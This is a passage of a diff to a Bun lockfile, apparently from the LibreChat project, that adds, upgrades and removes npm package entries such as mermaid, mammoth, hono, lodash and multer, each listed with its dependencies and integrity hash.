"ws": "^8.18.3" } }, "sha512-lMHQRRwIPyJ70HV0kkFT7jH/gXzSI7yDkQFe07E2flwmNDFoWUTRMKpW2sglsnpeA7b6S2TJPp98EbQxai8eaQ=="], + "harmony-reflect": ["harmony-reflect@1.6.2", "", {}, "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g=="], "has-bigints": ["has-bigints@1.0.2", "", {}, "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ=="], @@ -2973,7 +3203,7 @@ "hoist-non-react-statics": ["hoist-non-react-statics@3.3.2", "", { "dependencies": { "react-is": "^16.7.0" } }, "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw=="], - "hono": ["hono@4.11.1", "", {}, "sha512-KsFcH0xxHes0J4zaQgWbYwmz3UPOOskdqZmItstUG93+Wk1ePBLkLGwbP9zlmh1BFUiL8Qp+Xfu9P7feJWpGNg=="], + "hono": ["hono@4.12.5", "", {}, "sha512-3qq+FUBtlTHhtYxbxheZgY8NIFnkkC/MR8u5TTsr7YZ3wixryQ3cCwn3iZbg8p8B88iDBBAYSfZDS75t8MN7Vg=="], "hookified": ["hookified@1.12.1", "", {}, "sha512-xnKGl+iMIlhrZmGHB729MqlmPoWBznctSQTYCpFKqNsCgimJQmithcW0xSQMMFzYnV2iKUh25alswn6epgxS0Q=="], @@ -3025,6 +3255,8 @@ "ignore-by-default": ["ignore-by-default@1.0.1", "", {}, "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA=="], + "immediate": ["immediate@3.0.6", "", {}, "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ=="], + "import-cwd": ["import-cwd@3.0.0", "", { "dependencies": { "import-from": "^3.0.0" } }, "sha512-4pnzH16plW+hgvRECbDWpQl3cqtvSofHWh44met7ESfZ8UZOWWddm8hEyDTqREJ9RbYHY8gi8DqmaelApoOGMg=="], "import-fresh": ["import-fresh@3.3.0", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw=="], @@ -3049,11 +3281,13 @@ "internal-slot": ["internal-slot@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw=="], + "internmap": ["internmap@2.0.3", "", {}, "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg=="], + "intersection-observer": ["intersection-observer@0.10.0", "", {}, "sha512-fn4bQ0Xq8FTej09YC/jqKZwtijpvARlRp6wxL5WTA6yPe2YWSJ5RJh7Nm79rK2qB0wr6iDQzH60XGq5V/7u8YQ=="], "ioredis": ["ioredis@5.3.2", "", { "dependencies": { "@ioredis/commands": "^1.1.1", "cluster-key-slot": "^1.1.0", "debug": "^4.3.4", "denque": "^2.1.0", "lodash.defaults": "^4.2.0", "lodash.isarguments": "^3.1.0", "redis-errors": "^1.2.0", "redis-parser": "^3.0.0", "standard-as-callback": "^2.1.0" } }, "sha512-1DKMMzlIHM02eBBVOFQ1+AolGjs6+xEcM4PDL7NqOS6szq7H9jSaEkIUH6/a5Hl241LzW6JLSiAbNvTQjUupUA=="], - "ip-address": ["ip-address@10.0.1", "", {}, "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA=="], + "ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="], "ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="], @@ -3215,7 +3449,7 @@ "jest-message-util": ["jest-message-util@30.2.0", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@jest/types": "30.2.0", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", "micromatch": "^4.0.8", "pretty-format": "30.2.0", "slash": "^3.0.0", "stack-utils": "^2.0.6" } }, "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw=="], - "jest-mock": ["jest-mock@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "jest-util": "^29.7.0" } }, "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw=="], + "jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="], "jest-pnp-resolver": ["jest-pnp-resolver@1.2.3", "", { "peerDependencies": { "jest-resolve": "*" } }, "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w=="], @@ -3231,7 +3465,7 @@ "jest-snapshot": ["jest-snapshot@30.2.0", "", { "dependencies": { "@babel/core": "^7.27.4", "@babel/generator": "^7.27.5", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1", "@babel/types": "^7.27.3", "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "@jest/snapshot-utils": "30.2.0", "@jest/transform": "30.2.0", "@jest/types": "30.2.0", "babel-preset-current-node-syntax": "^1.2.0", "chalk": "^4.1.2", "expect": "30.2.0", "graceful-fs": "^4.2.11", "jest-diff": "30.2.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-util": "30.2.0", "pretty-format": "30.2.0", "semver": "^7.7.2", "synckit": "^0.11.8" } }, "sha512-5WEtTy2jXPFypadKNpbNkZ72puZCa6UjSr/7djeecHWOu7iYhSXSnHScT8wBz3Rn8Ena5d5RYRcsyKIeqG1IyA=="], - "jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="], + "jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], "jest-validate": ["jest-validate@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "@jest/types": "30.2.0", "camelcase": "^6.3.0", "chalk": "^4.1.2", "leven": "^3.1.0", "pretty-format": "30.2.0" } }, "sha512-FBGWi7dP2hpdi8nBoWxSsLvBFewKAg0+uSQwBaof4Y4DPgBabXgpSYC5/lR7VmnIlSpASmCi/ntRWPbv7089Pw=="], @@ -3283,6 +3517,8 @@ "jsx-ast-utils": ["jsx-ast-utils@3.3.5", "", { "dependencies": { "array-includes": "^3.1.6", "array.prototype.flat": "^1.3.1", "object.assign": "^4.1.4", "object.values": "^1.1.6" } }, "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ=="], + "jszip": ["jszip@3.10.1", "", { "dependencies": { "lie": "~3.3.0", "pako": "~1.0.2", "readable-stream": "~2.3.6", "setimmediate": "^1.0.5" } }, "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g=="], + "jwa": ["jwa@2.0.0", "", { "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA=="], "jwks-rsa": ["jwks-rsa@3.2.0", "", { "dependencies": { "@types/express": "^4.17.20", "@types/jsonwebtoken": "^9.0.4", "debug": "^4.3.4", "jose": "^4.15.4", "limiter": "^1.1.5", "lru-memoizer": "^2.2.0" } }, "sha512-PwchfHcQK/5PSydeKCs1ylNym0w/SSv8a62DgHJ//7x2ZclCoinlsjAfDxAAbpoTPybOum/Jgy+vkvMmKz89Ww=="], @@ -3297,16 +3533,22 @@ "keyv-file": ["keyv-file@5.2.0", "", { "dependencies": { "@keyv/serialize": "^1.0.1", "tslib": "^1.14.1" } }, "sha512-5JEBqQiDzjGCQHtf7KLReJdHKchaJyUZW+9TvBu+4dc+uuTqUG9KcdA3ICMXlwky3qjKc0ecNCNefbgjyDtlAg=="], + "khroma": ["khroma@2.1.0", "", {}, "sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw=="], + "klona": ["klona@2.0.6", "", {}, "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA=="], "kuler": ["kuler@2.0.0", "", {}, "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A=="], - "langsmith": ["langsmith@0.3.67", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "p-retry": "4", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" } }, "sha512-l4y3RmJ9yWF5a29fLg3eWZQxn6Q6dxTOgLGgQHzPGZHF3NUynn+A+airYIe/Yt4rwjGbuVrABAPsXBkVu/Hi7g=="], + "langium": ["langium@4.2.1", "", { "dependencies": { "chevrotain": "~11.1.1", "chevrotain-allstar": "~0.3.1", "vscode-languageserver": "~9.0.1", "vscode-languageserver-textdocument": "~1.0.11", "vscode-uri": "~3.1.0" } }, "sha512-zu9QWmjpzJcomzdJQAHgDVhLGq5bLosVak1KVa40NzQHXfqr4eAHupvnPOVXEoLkg6Ocefvf/93d//SB7du4YQ=="], + + "langsmith": ["langsmith@0.4.12", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" }, "optionalPeers": ["@opentelemetry/api", "@opentelemetry/exporter-trace-otlp-proto", "@opentelemetry/sdk-trace-base", "openai"] }, "sha512-YWt0jcGvKqjUgIvd78rd4QcdMss0lUkeUaqp0UpVRq7H2yNDx8H5jOUO/laWUmaPtWGgcip0qturykXe1g9Gqw=="], "language-subtag-registry": ["language-subtag-registry@0.3.23", "", {}, "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="], "language-tags": ["language-tags@1.0.9", "", { "dependencies": { "language-subtag-registry": "^0.3.20" } }, "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA=="], + "layout-base": ["layout-base@1.0.2", "", {}, "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg=="], + "ldap-filter": ["ldap-filter@0.3.3", "", { "dependencies": { "assert-plus": "^1.0.0" } }, "sha512-/tFkx5WIn4HuO+6w9lsfxq4FN3O+fDZeO9Mek8dCD8rTUpqzRa766BOBO7BcGkn3X86m5+cBm1/2S/Shzz7gMg=="], "ldapauth-fork": ["ldapauth-fork@5.0.5", "", { "dependencies": { "@types/ldapjs": "^2.2.2", "bcryptjs": "^2.4.0", "ldapjs": "^2.2.1", "lru-cache": "^7.10.1" } }, "sha512-LWUk76+V4AOZbny/3HIPQtGPWZyA3SW2tRhsWIBi9imP22WJktKLHV1ofd8Jo/wY7Ve6vAT7FCI5mEn3blZTjw=="], @@ -3319,6 +3561,8 @@ "librechat-data-provider": ["librechat-data-provider@workspace:packages/data-provider"], + "lie": ["lie@3.3.0", "", { "dependencies": { "immediate": "~3.0.5" } }, "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ=="], + "lilconfig": ["lilconfig@3.1.3", "", {}, "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw=="], "limiter": ["limiter@1.1.5", "", {}, "sha512-FWWMIEOxz3GwUI4Ts/IvgVy6LPvoMPgjMdQ185nN6psJyBJ4yOpzqm695/h5umdLJg2vW3GR5iG11MAkR2AzJA=="], @@ -3329,13 +3573,13 @@ "listr2": ["listr2@8.2.5", "", { "dependencies": { "cli-truncate": "^4.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", "rfdc": "^1.4.1", "wrap-ansi": "^9.0.0" } }, "sha512-iyAZCeyD+c1gPyE9qpFu8af0Y+MRtmKOncdGoA2S5EY8iFq99dmmvkNnHiWo+pj0s7yH7l3KPIgee77tKpXPWQ=="], - "loader-runner": ["loader-runner@4.3.0", "", {}, "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg=="], - "loader-utils": ["loader-utils@3.3.1", "", {}, "sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg=="], "locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="], - "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], + "lodash": ["lodash@4.17.23", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="], + + "lodash-es": ["lodash-es@4.17.23", "", {}, "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg=="], "lodash.camelcase": ["lodash.camelcase@4.3.0", "", {}, "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA=="], @@ -3367,8 +3611,6 @@ "lodash.sortby": ["lodash.sortby@4.7.0", "", {}, "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="], - "lodash.throttle": ["lodash.throttle@4.1.1", "", {}, "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ=="], - "lodash.uniq": ["lodash.uniq@4.5.0", "", {}, "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="], "log-update": ["log-update@6.1.0", "", { "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", "slice-ansi": "^7.1.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w=="], @@ -3381,6 +3623,8 @@ "loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": "cli.js" }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="], + "lop": ["lop@0.4.2", "", { "dependencies": { "duck": "^0.1.12", "option": "~0.2.1", "underscore": "^1.13.1" } }, "sha512-RefILVDQ4DKoRZsJ4Pj22TxE3omDO47yFpkIBoDKzkqPRISs5U1cnAdg/5583YPkWPaLIYHOKRMQSvjFsO26cw=="], + "lowlight": ["lowlight@2.9.0", "", { "dependencies": { "@types/hast": "^2.0.0", "fault": "^2.0.0", "highlight.js": "~11.8.0" } }, "sha512-OpcaUTCLmHuVuBcyNckKfH5B0oA4JUavb/M/8n9iAvanJYNQkrVm4pvyX0SUaqkBG4dnWHKt7p50B3ngAG2Rfw=="], "lru-cache": ["lru-cache@4.1.5", "", { "dependencies": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" } }, "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g=="], @@ -3399,8 +3643,12 @@ "makeerror": ["makeerror@1.0.12", "", { "dependencies": { "tmpl": "1.0.5" } }, "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg=="], + "mammoth": ["mammoth@1.11.0", "", { "dependencies": { "@xmldom/xmldom": "^0.8.6", "argparse": "~1.0.3", "base64-js": "^1.5.1", "bluebird": "~3.4.0", "dingbat-to-unicode": "^1.0.1", "jszip": "^3.7.1", "lop": "^0.4.2", "path-is-absolute": "^1.0.0", "underscore": "^1.13.1", "xmlbuilder": "^10.0.0" }, "bin": { "mammoth": "bin/mammoth" } }, "sha512-BcEqqY/BOwIcI1iR5tqyVlqc3KIaMRa4egSoK83YAVrBf6+yqdAAbtUcFDCWX8Zef8/fgNZ6rl4VUv+vVX8ddQ=="], + "markdown-table": ["markdown-table@3.0.4", "", {}, "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw=="], + "marked": ["marked@14.0.0", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ=="], + "match-sorter": ["match-sorter@8.1.0", "", { "dependencies": { "@babel/runtime": "^7.23.8", "remove-accents": "0.5.0" } }, "sha512-0HX3BHPixkbECX+Vt7nS1vJ6P2twPgGTU3PMXjWrl1eyVCL24tFHeyYN1FN5RKLzve0TyzNI9qntqQGbebnfPQ=="], "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], @@ -3459,6 +3707,8 @@ "merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="], + "mermaid": ["mermaid@11.13.0", "", { "dependencies": { "@braintree/sanitize-url": "^7.1.1", "@iconify/utils": "^3.0.2", "@mermaid-js/parser": "^1.0.1", "@types/d3": "^7.4.3", "@upsetjs/venn.js": "^2.0.0", "cytoscape": "^3.33.1", "cytoscape-cose-bilkent": "^4.1.0", "cytoscape-fcose": "^2.2.0", "d3": "^7.9.0", "d3-sankey": "^0.12.3", "dagre-d3-es": "7.0.14", "dayjs": "^1.11.19", "dompurify": "^3.3.1", "katex": "^0.16.25", "khroma": "^2.1.0", "lodash-es": "^4.17.23", "marked": "^16.3.0", "roughjs": "^4.6.6", "stylis": "^4.3.6", "ts-dedent": "^2.2.0", "uuid": "^11.1.0" } }, "sha512-fEnci+Immw6lKMFI8sqzjlATTyjLkRa6axrEgLV2yHTfv8r+h1wjFbV6xeRtd4rUV1cS4EpR9rwp3Rci7TRWDw=="], + "methods": ["methods@1.1.2", "", {}, "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="], "micromark": ["micromark@4.0.0", "", { "dependencies": { "@types/debug": "^4.0.0", "debug": "^4.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-o/sd0nMof8kYff+TqcDx3VSrgBTcZpSvYcAHIfHhv5VAuNmisCxjhx6YmxS8PFEpb9z5WKWKPdzf0jM23ro3RQ=="], @@ -3543,20 +3793,24 @@ "minimalistic-crypto-utils": ["minimalistic-crypto-utils@1.0.1", "", {}, "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg=="], - "minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + "minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="], "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], - "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="], "mkdirp": ["mkdirp@1.0.4", "", { "bin": "bin/cmd.js" }, "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="], + "mlly": ["mlly@1.8.1", "", { "dependencies": { "acorn": "^8.16.0", "pathe": "^2.0.3", "pkg-types": "^1.3.1", "ufo": "^1.6.3" } }, "sha512-SnL6sNutTwRWWR/vcmCYHSADjiEesp5TGQQ0pXyLhW5IoeibRlF/CbSLailbB3CNqJUk9cVJ9dUDnbD7GrcHBQ=="], + "module-alias": ["module-alias@2.2.3", "", {}, "sha512-23g5BFj4zdQL/b6tor7Ji+QY4pEfNH784BMslY9Qb0UnJWRAt+lQGLYmRaM0KDBwIG23ffEBELhZDP2rhi9f/Q=="], "module-details-from-path": ["module-details-from-path@1.0.4", "", {}, "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w=="], "moment": ["moment@2.30.1", "", {}, "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how=="], + "monaco-editor": ["monaco-editor@0.55.1", "", { "dependencies": { "dompurify": "3.2.7", "marked": "14.0.0" } }, "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A=="], + "mongodb": ["mongodb@6.14.2", "", { "dependencies": { "@mongodb-js/saslprep": "^1.1.9", "bson": "^6.10.3", "mongodb-connection-string-url": "^3.0.0" }, "peerDependencies": { "@aws-sdk/credential-providers": "^3.188.0", "@mongodb-js/zstd": "^1.1.0 || ^2.0.0", "gcp-metadata": "^5.2.0", "kerberos": "^2.0.1", "mongodb-client-encryption": ">=6.0.0 <7", "snappy": "^7.2.2", "socks": "^2.7.1" }, "optionalPeers": ["@mongodb-js/zstd", "kerberos", "mongodb-client-encryption", "snappy", "socks"] }, "sha512-kMEHNo0F3P6QKDq17zcDuPeaywK/YaJVCEQRzPF3TOM/Bl9MFg64YE5Tu7ifj37qZJMhwU1tl2Ioivws5gRG5Q=="], "mongodb-connection-string-url": ["mongodb-connection-string-url@3.0.2", "", { "dependencies": { "@types/whatwg-url": "^11.0.2", "whatwg-url": "^14.1.0 || ^13.0.0" } }, "sha512-rMO7CGo/9BFwyZABcKAWL8UJwH/Kc2x0g72uhDWzG48URRax5TCIcJ7Rc3RZqffZzO/Gwff/jyKwCU9TN8gehA=="], @@ -3579,7 +3833,7 @@ "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], - "multer": ["multer@2.0.2", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "mkdirp": "^0.5.6", "object-assign": "^4.1.1", "type-is": "^1.6.18", "xtend": "^4.0.2" } }, "sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw=="], + "multer": ["multer@2.1.1", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "type-is": "^1.6.18" } }, "sha512-mo+QTzKlx8R7E5ylSXxWzGoXoZbOsRMpyitcht8By2KHvMbf3tjwosZ/Mu/XYU6UuJ3VZnODIrak5ZrPiPyB6A=="], "mustache": ["mustache@4.2.0", "", { "bin": "bin/mustache" }, "sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ=="], @@ -3605,6 +3859,8 @@ "node-int64": ["node-int64@0.4.0", "", {}, "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw=="], + "node-readable-to-web-readable-stream": ["node-readable-to-web-readable-stream@0.4.2", "", {}, "sha512-/cMZNI34v//jUTrI+UIo4ieHAB5EZRY/+7OmXZgBxaWBMcW2tGdceIw06RFxWxrKZ5Jp3sI2i5TsRo+CBhtVLQ=="], + 